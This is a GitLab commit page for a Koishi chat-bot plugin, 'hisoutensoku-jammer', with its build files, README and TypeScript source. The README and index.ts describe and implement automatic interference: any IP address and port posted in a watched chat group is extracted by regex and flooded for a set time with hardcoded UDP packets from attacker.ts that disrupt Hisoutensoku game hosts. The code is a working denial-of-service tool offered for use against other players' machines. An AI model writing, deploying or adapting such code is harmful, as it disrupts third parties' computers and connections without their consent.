Commit 10f0f7dd authored by nanahira's avatar nanahira

first

parent 4c7524dd
Pipeline #3137 failed
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
# Runtime data
pids
*.pid
*.seed
*.pid.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
*.lcov
# nyc test coverage
.nyc_output
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# TypeScript v1 declaration files
typings/
# TypeScript cache
*.tsbuildinfo
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Microbundle cache
.rpt2_cache/
.rts2_cache_cjs/
.rts2_cache_es/
.rts2_cache_umd/
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variables file
.env
.env.test
# parcel-bundler cache (https://parceljs.org/)
.cache
# Next.js build output
.next
# Nuxt.js build / generate output
.nuxt
dist
# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and *not* Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public
# vuepress build output
.vuepress/dist
# Serverless directories
.serverless/
# FuseBox cache
.fusebox/
# DynamoDB Local files
.dynamodb/
# TernJS port file
.tern-port
/build
/output
/dest
/dist
/config.yaml
.idea
stages:
- build
- deploy
variables:
GIT_DEPTH: "1"
build:
stage: build
tags:
- linux
image: node:buster-slim
script:
- npm ci
- npm run build
artifacts:
- dist
upload_to_minio:
stage: deploy
dependencies:
- build
tags:
- linux
image: python
script:
- pip install -U -i https://mirrors.aliyun.com/pypi/simple/ awscli
- aws s3 --endpoint=https://minio.mycard.moe:9000 sync --delete dist/ s3://nanahira/koishi-plugin/hisoutensoku-jammer
only:
- master
deploy_npm:
stage: deploy
dependencies:
- build
tags:
- linux
image: node:buster-slim
script:
- apt update;apt -y install coreutils
- echo $NPMRC | base64 --decode > ~/.npmrc
- npm publish .
only:
- master
\ No newline at end of file
/install-npm.sh
.git*
/output
/dest
/config.yaml
.idea
.dockerignore
Dockerfile
\ No newline at end of file
The MIT License (MIT)
Copyright (c) 2021 Nanahira
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
# koishi-plugin-hisoutensoku-jammer
rework of https://github.com/purerosefallen/hisoutensoku-terminiator
\ No newline at end of file
~~听说你喜欢打则~~
这个插件会监听一些群或其他来源的消息,若有人发布打则的 IP 地址,则自动干扰打则。
## 安装
### npm
```bash
npm install koishi-plugin-hisoutensoku-jammer
```
### 直接安装
在 https://cdn01.moecube.com/nanahira/koishi-plugin/hisoutensoku-jammer.js 下载,并配置 `koishi.config.js`
```js
module.exports = {
plugins: {
"/path/to/hisoutensoku-jammer.js": {
{
target: (ctx) => ctx.all(),
attackTimeout: 10000,
addressWhitelist: []
}
}
}
}
```
## 配置
```ts
const defaultConfig: HisoutensokuJammerConfig = {
target: (ctx: Context) => ctx.all(),
attackTimeout: 10000,
addressWhitelist: [],
};
```
### 说明
* `target` 一个上下文函数,决定作用域。如 `(ctx) => ctx.group('1111111111')` 为只对群 1111111111 有效。
* `attackTimeout` 每次的干扰时长,单位 ms 。
* `addressWhitelist` IP 白名单列表。白名单的 IP 地址不会被干扰。
\ No newline at end of file
This diff is collapsed.
{
"name": "koishi-plugin-hisoutensoku-jammer",
"version": "1.0.1",
"description": "A Koishi Plugin jamming hisoutensoku plays in group.",
"main": "dist/index.js",
"dependencies": {
"source-map-support": "^0.5.19"
},
"devDependencies": {
"@types/lodash": "^4.14.168",
"@types/node": "^15.0.1",
"koishi": "^3.10.1",
"lodash": "^4.17.21",
"moment": "^2.29.1",
"raw-loader": "^4.0.2",
"ts-loader": "^9.1.1",
"ts-node": "^9.1.1",
"typescript": "^4.2.4",
"webpack": "^5.36.2",
"webpack-cli": "^4.6.0"
},
"scripts": {
"build": "webpack"
},
"repository": {
"type": "git",
"url": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer.git"
},
"keywords": [
"Koishi.js",
"hisouten",
"hisoutensoku",
"qqbot",
"cqhttp"
],
"author": "Nanahira",
"license": "MIT",
"bugs": {
"url": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer/issues"
},
"homepage": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer"
}
import dgram from "dgram";
import _ from "lodash";
const messageStage1 = [
1,
2,
0,
42,
49,
127,
0,
0,
1,
0,
0,
0,
0,
0,
0,
0,
0,
2,
0,
42,
49,
127,
0,
0,
1,
0,
0,
0,
0,
0,
0,
0,
0,
109,
44,
0,
0,
];
const smallMessage = [3];
const messageStage2 = [
5,
110,
115,
101,
217,
255,
196,
110,
72,
141,
124,
161,
146,
49,
52,
114,
149,
16,
0,
1,
0,
40,
0,
0,
0,
1,
9,
112,
114,
111,
102,
105,
108,
101,
49,
112,
0,
0,
0,
0,
0,
81,
57,
68,
0,
74,
2,
65,
8,
0,
0,
0,
0,
0,
0,
0,
0,
51,
1,
0,
0,
18,
0,
0,
0,
];
enum AttackType {
Send = 1,
Wait = 2,
}
interface AttackStep {
type: AttackType;
message: number[];
intervalMessage?: number[];
comment: string;
}
const AttackRoutine: AttackStep[] = [
{
type: AttackType.Send,
message: messageStage1,
comment: "Discover",
},
{
type: AttackType.Wait,
message: smallMessage,
intervalMessage: messageStage1,
comment: "First wait",
},
{
type: AttackType.Send,
message: smallMessage,
comment: "Send a small message",
},
/*{
type: AttackType.Wait,
message: smallMessage,
intervalMessage: smallMessage,
comment: "Second wait"
},*/
{
type: AttackType.Send,
message: messageStage2,
comment: "Send final package",
},
];
export class Attacker {
address: string;
port: number;
timeout: number;
socket: dgram.Socket;
error: any;
currentWait: (msg: Buffer, rinfo: any) => void;
constructor(address: string, port: number, timeout: number) {
this.address = address;
this.port = port;
this.timeout = timeout;
this.currentWait = null;
this.error = null;
}
sendMessage(message: number[]): Promise<any> {
return new Promise((done) => {
this.socket.send(Buffer.from(message), done);
});
}
waitForReply(
messageToWait: number[],
intervalMessage?: number[]
): Promise<boolean> {
let intv: NodeJS.Timeout = null;
if (intervalMessage) {
intv = setInterval(async () => {
await this.sendMessage(intervalMessage);
}, 500);
}
return new Promise((done) => {
this.currentWait = (msg: Buffer, rinfo: any) => {
if (_.isEqual(msg.toJSON().data, messageToWait)) {
if (intv) {
clearInterval(intv);
}
this.currentWait = null;
done(true);
}
};
setTimeout(() => {
if (!this.currentWait) {
return;
}
if (intv) {
clearInterval(intv);
}
this.currentWait = null;
done(false);
}, this.timeout);
});
}
async performStep(step: AttackStep): Promise<string> {
let err;
switch (step.type) {
case AttackType.Send: {
err = await this.sendMessage(step.message);
if (err) {
return `Failed to perform step ${step.comment}: ${err.toString}`;
}
break;
}
case AttackType.Wait: {
if (!(await this.waitForReply(step.message, step.intervalMessage))) {
return `Empty reply on step ${step.comment}.`;
}
break;
}
default: {
return "Unknown step";
}
}
return null;
}
async attack(): Promise<string> {
this.socket = dgram.createSocket("udp4");
let err: string = null;
await new Promise<void>((done) => {
this.socket.connect(this.port, this.address, () => {
done();
});
});
/*if (connectionError) {
this.socket.close();
return `Failed to connect: ${connectionError.toString()}`;
}*/
this.socket.on("message", (msg, rinfo) => {
if (this.currentWait) {
this.currentWait(msg, rinfo);
}
});
this.socket.on("error", (err) => {
this.error = err;
});
for (let step of AttackRoutine) {
if (this.error) {
return `Error: ${this.error.toString()}`;
}
err = await this.performStep(step);
if (err) {
break;
}
}
this.socket.close();
return err;
}
}
import { Context } from "koishi-core";
import _ from "lodash";
import "source-map-support/register";
import { Logger } from "koishi-utils";
import { Attacker } from "./attacker";
import moment from "moment";
export interface HisoutensokuJammerConfig {
target: (ctx: Context) => Context;
attackTimeout: number;
addressWhitelist: string[];
}
const defaultConfig: HisoutensokuJammerConfig = {
target: (ctx: Context) => ctx.all(),
attackTimeout: 10000,
addressWhitelist: [],
};
class HisoutensokuJammer {
log: Logger;
targetCtx: Context;
constructor(private ctx: Context, private config: HisoutensokuJammerConfig) {
this.targetCtx = config.target(ctx);
this.log = ctx.logger("hisoutensoku-jammer");
}
apply() {
this.targetCtx.middleware(async (session, next) => {
const message = session.content;
this.handleMessage(message).then();
return next();
});
}
async handleMessage(message: string) {
const messageMatch: RegExpMatchArray = message.match(
/(\d{1,3}([\.: \uff1a]\d{1,3}){3})[\.: \uff1a]+(\d{3,5})/g
);
if (!messageMatch) {
return;
}
const attackPromises = messageMatch.map((pattern) => {
const patternArray = pattern.split(/[\.: \uff1a]/);
const address = patternArray.slice(0, 4).join(".");
const port = parseInt(patternArray[patternArray.length - 1]);
return this.startAttack(address, port);
});
const results: boolean[] = await Promise.all(attackPromises);
}
async startAttack(address: string, port: number): Promise<boolean> {
if (this.config.addressWhitelist.includes(address)) {
this.log.info(`Attack of ${address}:${port} skipped.`);
return false;
}
this.log.info(`Attack of ${address}:${port} started.`);
const currentTime = moment();
while (moment().diff(currentTime) <= this.config.attackTimeout) {
const attacker = new Attacker(address, port, 1000);
let err;
try {
err = await attacker.attack();
} catch (e) {
err = `Error: ${e.toString()}`;
}
if (err) {
this.log.warn(`Attack of ${address}:${port} failed: ${err}`);
} else {
this.log.info(`Attack of ${address}:${port} succeeded.`);
}
}
this.log.info(`Attack of ${address}:${port} finished.`);
return true;
}
}
export const name = "hisoutensoku-jammer";
export function apply(
ctx: Context,
config: HisoutensokuJammerConfig = defaultConfig
) {
const hisoutensokuJammer = new HisoutensokuJammer(ctx, {
...defaultConfig,
...config,
});
hisoutensokuJammer.apply();
}
{
"compilerOptions": {
"outDir": "dist",
"module": "commonjs",
"target": "esnext",
"esModuleInterop": true,
"emitDecoratorMetadata": true,
"experimentalDecorators": true,
"declaration": true,
"sourceMap": true
},
"compileOnSave": true,
"allowJs": true,
"include": [
"*.ts",
"src/*.ts"
]
}
const path = require("path");
module.exports = {
entry: "./src/index.ts",
mode: "production",
target: "node",
devtool: "source-map",
module: {
rules: [
{
test: /\.tsx?$/,
use: "ts-loader",
exclude: /node_modules/,
},
{ test: /\.mustache$/, use: "raw-loader" },
],
},
resolve: {
extensions: [".tsx", ".ts", ".js"],
},
output: {
filename: "index.js",
library: {
type: "commonjs",
},
path: path.resolve(__dirname, "dist"),
},
};
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment